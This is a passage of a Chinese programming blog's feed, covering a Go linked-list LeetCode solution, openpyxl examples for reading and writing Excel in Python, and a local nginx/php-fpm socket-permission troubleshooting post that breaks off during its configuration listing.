大于链表长度,则不会插入节点。如果index小于0,则在头部插入节点。</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">AddAtIndex</span><span class="params">(index <span class="keyword">int</span>, val <span class="keyword">int</span>)</span></span> {</span><br><span class="line">list_len := this.Len()</span><br><span class="line">node := &Node{Val: val}</span><br><span class="line"><span class="keyword">if</span> index == list_len{</span><br><span class="line">this.AddAtTail(val)</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> index <= <span class="number">0</span>{</span><br><span class="line">this.AddAtHead(val)</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> index > list_len{</span><br><span class="line"><span class="comment">//不插入</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">prev := this.GetNode(index <span class="number">-1</span>)</span><br><span class="line">node.Next = prev.Next</span><br><span class="line">prev.Next = node</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取指定节点的指针</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">GetNode</span><span class="params">(index <span class="keyword">int</span>)</span> *<span class="title">Node</span></span> {</span><br><span class="line">cur := this.Head.Next <span class="comment">//头指针指向下一个节点</span></span><br><span class="line">list_len := this.Len() <span class="comment">//获取链表的长度</span></span><br><span class="line"><span class="keyword">if</span> index >= list_len{</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> index == <span class="number">-1</span>{</span><br><span class="line"><span class="keyword">return</span> this.Head</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="comment">// 遍历获得指定的位置</span></span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i < index; i++ {</span><br><span class="line">cur = cur.Next</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> cur</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//如果索引 index 有效,则删除链表中的第 index 个节点。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">DeleteAtIndex</span><span class="params">(index <span class="keyword">int</span>)</span></span> {</span><br><span class="line">list_len := this.Len()</span><br><span class="line"><span class="keyword">if</span> index < list_len{</span><br><span class="line">prev := this.GetNode(index - <span class="number">1</span>)</span><br><span class="line">prev.Next = prev.Next.Next</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> index == <span class="number">0</span> && list_len == <span class="number">1</span>{</span><br><span class="line">this.Head.Next = <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>记录一下leetcode刷题,大牛请绕道</p>
</summary>
<category term="数据结构" scheme="http://0clickjacking0.github.io/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
</entry>
<entry>
<title>python操作excel</title>
<link href="http://0clickjacking0.github.io/2021/11/29/python%E6%93%8D%E4%BD%9Cexcel/"/>
<id>http://0clickjacking0.github.io/2021/11/29/python操作excel/</id>
<published>2021-11-29T00:59:16.000Z</published>
<updated>2021-11-29T07:52:02.576Z</updated>
<content type="html"><![CDATA[<p>python操作excel,这里记录一下</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>我使用的是<code>openpyxl</code>,安装命令:<code>pip3 install openpyxl</code></p><h1 id="读excel"><a href="#读excel" class="headerlink" title="读excel"></a>读excel</h1><h2 id="按行读取(读取所有数据)"><a href="#按行读取(读取所有数据)" class="headerlink" title="按行读取(读取所有数据)"></a>按行读取(读取所有数据)</h2><p>按行读取,一行为一组(tuple),然后放在一个list中</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">minrow=ws.min_row <span class="comment">#最小行</span></span><br><span class="line">maxrow=ws.max_row <span class="comment">#最大行</span></span><br><span class="line">mincol=ws.min_column <span class="comment">#最小列</span></span><br><span class="line">maxcol=ws.max_column <span class="comment">#最大列</span></span><br><span class="line">datas = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(minrow,maxrow+<span class="number">1</span>):</span><br><span class="line"> cells = []</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(mincol,maxcol+<span class="number">1</span>):</span><br><span class="line"> cell=ws.cell(row=i,column=j).value</span><br><span class="line"> cells.append(cell)</span><br><span class="line"> datas.append(cells)</span><br><span class="line">print(datas)</span><br></pre></td></tr></table></figure><h2 id="按列读取(读取所有数据)"><a href="#按列读取(读取所有数据)" class="headerlink" title="按列读取(读取所有数据)"></a>按列读取(读取所有数据)</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">minrow=ws.min_row <span class="comment">#最小行</span></span><br><span class="line">maxrow=ws.max_row <span class="comment">#最大行</span></span><br><span class="line">mincol=ws.min_column <span class="comment">#最小列</span></span><br><span class="line">maxcol=ws.max_column <span class="comment">#最大列</span></span><br><span class="line">datas = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(mincol,maxcol+<span class="number">1</span>):</span><br><span class="line"> cells = []</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(minrow,maxrow+<span class="number">1</span>):</span><br><span class="line"> cell=ws.cell(row=j,column=i).value</span><br><span class="line"> cells.append(cell)</span><br><span class="line"> datas.append(cells)</span><br><span class="line">print(datas)</span><br></pre></td></tr></table></figure><h2 id="读取某一行的所有数据"><a href="#读取某一行的所有数据" class="headerlink" title="读取某一行的所有数据"></a>读取某一行的所有数据</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">mincol=ws.min_column <span class="comment">#最小列</span></span><br><span class="line">maxcol=ws.max_column <span class="comment">#最大列</span></span><br><span class="line">datas = []</span><br><span class="line">row = <span class="number">2</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(mincol,maxcol+<span class="number">1</span>):</span><br><span class="line"> cell = ws.cell(row=row, column=i).value</span><br><span class="line"> datas.append(cell)</span><br><span class="line">print(datas)</span><br></pre></td></tr></table></figure><h2 id="读取某一列的所有数据"><a href="#读取某一列的所有数据" class="headerlink" title="读取某一列的所有数据"></a>读取某一列的所有数据</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">minrow=ws.min_row <span class="comment">#最小行</span></span><br><span class="line">maxrow=ws.max_row <span class="comment">#最大行</span></span><br><span class="line">datas = []</span><br><span class="line">column = <span class="number">1</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(minrow,maxrow+<span class="number">1</span>):</span><br><span class="line"> cell = ws.cell(row=i, column=column).value</span><br><span class="line"> datas.append(cell)</span><br><span class="line">print(datas)</span><br></pre></td></tr></table></figure><h2 id="读取某个坐标的数据"><a href="#读取某个坐标的数据" class="headerlink" title="读取某个坐标的数据"></a>读取某个坐标的数据</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">datas = []</span><br><span class="line">cell = ws.cell(row=<span class="number">1</span>, column=<span class="number">1</span>).value</span><br><span class="line">print(cell)</span><br></pre></td></tr></table></figure><h1 id="写excel"><a href="#写excel" class="headerlink" title="写excel"></a>写excel</h1><h2 id="批量按行写入"><a href="#批量按行写入" class="headerlink" title="批量按行写入"></a>批量按行写入</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line"></span><br><span class="line">datas = [</span><br><span class="line"> [<span class="string">"账号"</span>,<span class="string">"密码"</span>],</span><br><span class="line"> [<span class="number">1</span>,<span class="number">2</span>],</span><br><span class="line"> [<span class="number">3</span>,<span class="number">4</span>]</span><br><span class="line">]</span><br><span class="line"><span class="keyword">for</span> row <span class="keyword">in</span> datas:</span><br><span class="line"> ws.append(row)</span><br><span class="line">wb.save(excelPath)</span><br></pre></td></tr></table></figure><h2 id="单独写入某一行"><a href="#单独写入某一行" class="headerlink" title="单独写入某一行"></a>单独写入某一行</h2><p>在第3行,第3列中插入值为666</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> load_workbook</span><br><span class="line"></span><br><span class="line">excelPath = <span class="string">"1.xlsx"</span></span><br><span class="line">wb = load_workbook(excelPath)</span><br><span class="line">ws = wb.active</span><br><span class="line">value = <span class="string">"6666"</span></span><br><span class="line">ws.cell(row=<span class="number">3</span>,column=<span class="number">3</span>,value=value)</span><br><span class="line">wb.save(excelPath)</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>python操作excel,这里记录一下</p>
</summary>
</entry>
<entry>
<title>macos下nginx环境中php-fpm报错php-fpm.sock failed (13: Permission denied) while connecting to upstream, client: 127.0.0.1</title>
<link href="http://0clickjacking0.github.io/2021/09/06/macos%E4%B8%8Bnginx%E7%8E%AF%E5%A2%83%E4%B8%ADphp-fpm%E6%8A%A5%E9%94%99php-fpm-sock-failed-13-Permission-denied-while-connecting-to-upstream-client-127-0-0-1/"/>
<id>http://0clickjacking0.github.io/2021/09/06/macos下nginx环境中php-fpm报错php-fpm-sock-failed-13-Permission-denied-while-connecting-to-upstream-client-127-0-0-1/</id>
<published>2021-09-06T13:19:54.000Z</published>
<updated>2021-09-06T13:32:15.240Z</updated>
<content type="html"><![CDATA[<p>之前的老问题了,今天终于解决了,记录一下。</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>之前从黑苹果迁移到mac后,nginx报错这个问题就没有解决过,今天终于解决了。</p><p>nginx的配置文件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br></pre></td><td class="code"><pre><span class="line">user nobody;</span><br><span class="line">worker_processes 1;</span><br><span class="line"></span><br><span class="line">#error_log logs/error.log;</span><br><span class="line">#error_log logs/error.log notice;</span><br><span class="line">#error_log logs/error.log info;</span><br><span class="line"></span><br><span class="line">#pid logs/nginx.pid;</span><br><span class="line">env PHPBREW_ROOT;</span><br><span class="line"></span><br><span class="line">events {</span><br><span class="line"> worker_connections 1024;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">http {</span><br><span class="line"> include mime.types;</span><br><span class="line"> default_type application/octet-stream;</span><br><span class="line"></span><br><span class="line"> client_max_body_size 20m;</span><br><span class="line"></span><br><span class="line"> #log_format main '$remote_addr - $remote_user [$time_local] "$request" '</span><br><span class="line"> # '$status $body_bytes_sent "$http_referer" '</span><br><span class="line"> # '"$http_user_agent" "$http_x_forwarded_for"';</span><br><span class="line"></span><br><span class="line"> #access_log logs/access.log main;</span><br><span class="line"></span><br><span class="line"> sendfile on;</span><br><span class="line"> #tcp_nopush on;</span><br><span class="line"></span><br><span class="line"> #keepalive_timeout 0;</span><br><span class="line"> keepalive_timeout 65;</span><br><span class="line"></span><br><span class="line"> #gzip on;</span><br><span class="line"></span><br><span class="line"> server {</span><br><span class="line"> listen 10000;</span><br><span class="line"> server_name localhost;</span><br><span class="line"> root /Users/xianyu123/PhpstormProjects;</span><br><span class="line"> #charset koi8-r;</span><br><span class="line"></span><br><span class="line"> #access_log logs/host.access.log main;</span><br><span class="line"></span><br><span class="line"> location / {</span><br><span class="line"> index index.php index.html index.htm;</span><br><span class="line"> autoindex on; </span><br><span class="line"> autoindex_exact_size off; </span><br><span class="line"> autoindex_localtime on;</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> #error_page 404 /404.html;</span><br><span class="line"></span><br><span class="line"> # redirect server error pages to the static page /50x.html</span><br><span class="line"> #</span><br><span class="line"> error_page 500 502 503 504 /50x.html;</span><br><span class="line"> location = /50x.html {</span><br><span class="line"> root html;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> # proxy the PHP scripts to Apache listening on 127.0.0.1:80</span><br><span class="line"> #</span><br><span class="line"> #location ~ \.php$ {</span><br><span class="line"> # proxy_pass http://127.0.0.1;</span><br><span class="line"> #}</span><br><span class="line"></span><br><span class="line"> # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000</span><br><span class="line"> #</span><br><span class="line"> location ~ \.php$ {</span><br><span class="line"> root /Users/xianyu123/PhpstormProjects;</span><br><span class="line"> fastcgi_pass unix:/Users/xianyu123/.phpbrew/php/php-7.1.29/var/run/php-fpm.sock;</span><br><span class="line"> # fastcgi_pass unix:/Users/xianyu123/.phpbrew/php/php-5.6.40/var/run/php-fpm.sock;</span><br><span class="line"> fastcgi_index index.php;</span><br><span class="line"> fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;</span><br><span class="line"> fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;</span><br><span class="line"> fastcgi_param PATH_INFO $fastcgi_path_info;</span><br><span class="line"> fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;</span><br><span class="line"> include fastcgi_params;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> # deny access to .htaccess files, if Apache's document root</span><br><span class="line"> # concurs with nginx's one</span><br><span class="line"> #</span><br><span class="line"> #location ~ /\.ht {</span><br><span class="line"> # deny all;</span><br><span class="line"> #}</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> # another virtual host using mix of IP-, name-, and port-based configuration</span><br><span class="line"> #</span><br><span class="line"> #server {</span><br><span class="line"> # listen 8000;</span><br><span class="line"> # listen somename:8080;</span><br><span class="line"> # server_name somename alias another.alias;</span><br><span class="line"></span><br><span class="line"> # location / {</span><br><span class="line"> # root html;</span><br><span class="line"> # index index.html index.htm;</span><br><span class="line"> # }</span><br><span class="line"> #}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> # HTTPS server</span><br><span class="line"> #</span><br><span class="line"> #server {</span><br><span class="line"> # listen 443 ssl;</span><br><span class="line"> # server_name localhost;</span><br><span class="line"></span><br><span class="line"> # ssl_certificate cert.pem;</span><br><span class="line"> # ssl_certificate_key cert.key;</span><br><span class="line"></span><br><span class="line"> # ssl_session_cache shared:SSL:1m;</span><br><span class="line"> # ssl_session_timeout 5m;</span><br><span class="line"></span><br><span class="line"> # ssl_ciphers HIGH:!aNULL:!MD5;</span><br><span class="line"> # ssl_prefer_server_ciphers on;</span><br><span class="line"></span><br><span class="line"> # location / {</span><br><span class="line"> # root html;</span><br><span class="line"> # index index.html index.htm;</span><br><span class="line"> # }</span><br><span class="line"> #}</span><br><span class="line"> include servers/*;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>nginx的错误日志:</p><p><img src="http://images.xianyu123.club/20210906212354.png" alt="image-20210906212349610"></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2021/09/06 19:51:18 [crit] 74119#0: *28 connect() to unix:/Users/xianyu123/.phpbrew/php/php-7.1.29/var/run/php-fpm.sock failed (13: Permission denied) while connecting to upstream, client: 127.0.0.1, server: localhost, request: "GET /WWW/test.php HTTP/1.1", upstream: "fastcgi://unix:/Users/xianyu123/.phpbrew/php/php-7.1.29/var/run/php-fpm.sock:", host: "localhost:10000"</span><br></pre></td></tr></table></figure><p>php-fpm的配置文件:</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span 